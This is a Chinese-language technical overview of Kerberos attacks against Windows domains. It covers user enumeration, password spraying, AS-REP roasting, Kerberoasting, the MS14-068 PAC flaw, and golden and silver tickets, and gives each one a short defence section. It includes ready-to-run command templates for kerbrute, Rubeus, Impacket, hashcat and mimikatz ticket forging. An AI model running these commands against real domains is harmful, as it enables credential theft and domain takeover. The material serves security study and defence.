Kerberos协议攻击面总结(一)
字数 1550 2025-08-22 12:23:06
Kerberos协议攻击面总结(一) 技术文档
目录
- 用户名枚举
- Password Spraying
- AS-REP Roasting
- CVE-2022-33679
- Kerberos Roasting
- 无预身份认证的Kerberos Roasting
- Targeted Kerberoasting
- MS14-068 & CVE-2014-6324
- 黄金票据
- 白银票据
1. 用户名枚举
原理
通过Kerberos协议的KDC(密钥分发中心)返回的错误码差异(如KRB5KDC_ERR_PREAUTH_REQUIRED与KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN)区分有效与无效用户。
工具
kerbrute:./kerbrute userenum --dc <域控IP> -d <域名> userlist.txt
防御
禁用错误码差异或启用账户锁定策略。
2. Password Spraying(密码喷洒)
原理
对多个用户尝试少量通用密码(如Password123),避免触发账户锁定。
步骤
- 收集用户名列表(如LDAP查询)。
- 使用
kerbrute或Rubeus喷洒密码:./kerbrute passwordspray -d <域名> userlist.txt <密码>
防御
启用多因素认证(MFA)和复杂密码策略。
3. AS-REP Roasting
前提
目标用户未启用预身份认证(DONT_REQ_PREAUTH属性)。
攻击流程
- 枚举此类用户:
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname - 请求AS-REP响应并提取加密的TGT:
Rubeus.exe asreproast /user:<用户名> /nowrap - 离线破解(如
hashcat -m 18200 hash.txt rockyou.txt)。
防御
对所有用户启用预身份认证。
4. CVE-2022-33679(Kerberos EoP漏洞)
影响
Windows Kerberos客户端特权提升(需中间人位置)。
利用条件
- 攻击者需伪造KDC响应。
- 修补前需禁用RC4加密(补丁KB5016693)。
5. Kerberos Roasting
原理
通过服务账号的TGS请求获取加密的ST(服务票据),离线破解服务密码。
工具
Rubeus:Rubeus.exe kerberoast /outfile:hashes.txtImpacket:GetUserSPNs.py -dc-ip <域控IP> <域名>/<用户>
防御
使用强服务账户密码(如随机128位)。
6. 无预身份认证的Kerberos Roasting
扩展场景
结合AS-REP Roasting与Kerberoasting,针对未启用预认证的服务账户。
7. Targeted Kerberoasting
原理
针对高权限服务账户(如域管理员关联的SPN)发起定向攻击。
步骤
- 查询高价值SPN:
Get-DomainUser -SPN | Where-Object { $_.memberof -match "Domain Admins" } - 请求其ST并破解。
8. MS14-068 & CVE-2014-6324(PAC漏洞)
原理
伪造PAC(特权属性证书)生成高权限TGT。
工具
PyKEK:生成伪造的TGT。
修复
安装MS14-068补丁并启用PAC签名验证。
9. 黄金票据(Golden Ticket)
前提
获取krbtgt账户的NTLM哈希。
生成
mimikatz.exe "kerberos::golden /user:fakeuser /domain:<域名> /sid:<域SID> /krbtgt:<哈希> /ptt"
持久性
票据有效期默认10年(需定期更新krbtgt密码)。
10. 白银票据(Silver Ticket)
原理
伪造特定服务的ST(无需TGT),需服务账户密码哈希。
生成
mimikatz.exe "kerberos::golden /user:fakeuser /domain:<域名> /sid:<域SID> /target:<服务主机> /service:<服务类型> /rc4:<服务哈希> /ptt"
限制
仅对特定服务有效(如CIFS、HTTP)。
防御总结
- 通用措施:启用强预认证、禁用RC4、定期轮换密钥。
- 检测:监控异常Kerberos请求(如大量AS-REQ失败)。
- 权限控制:限制服务账户权限,启用LSA保护。
工具链
- 攻击:Kerbrute, Rubeus, Mimikatz, Impacket.
- 防御:Windows Event ID 4768/4769, Sysmon, ELK.
(完)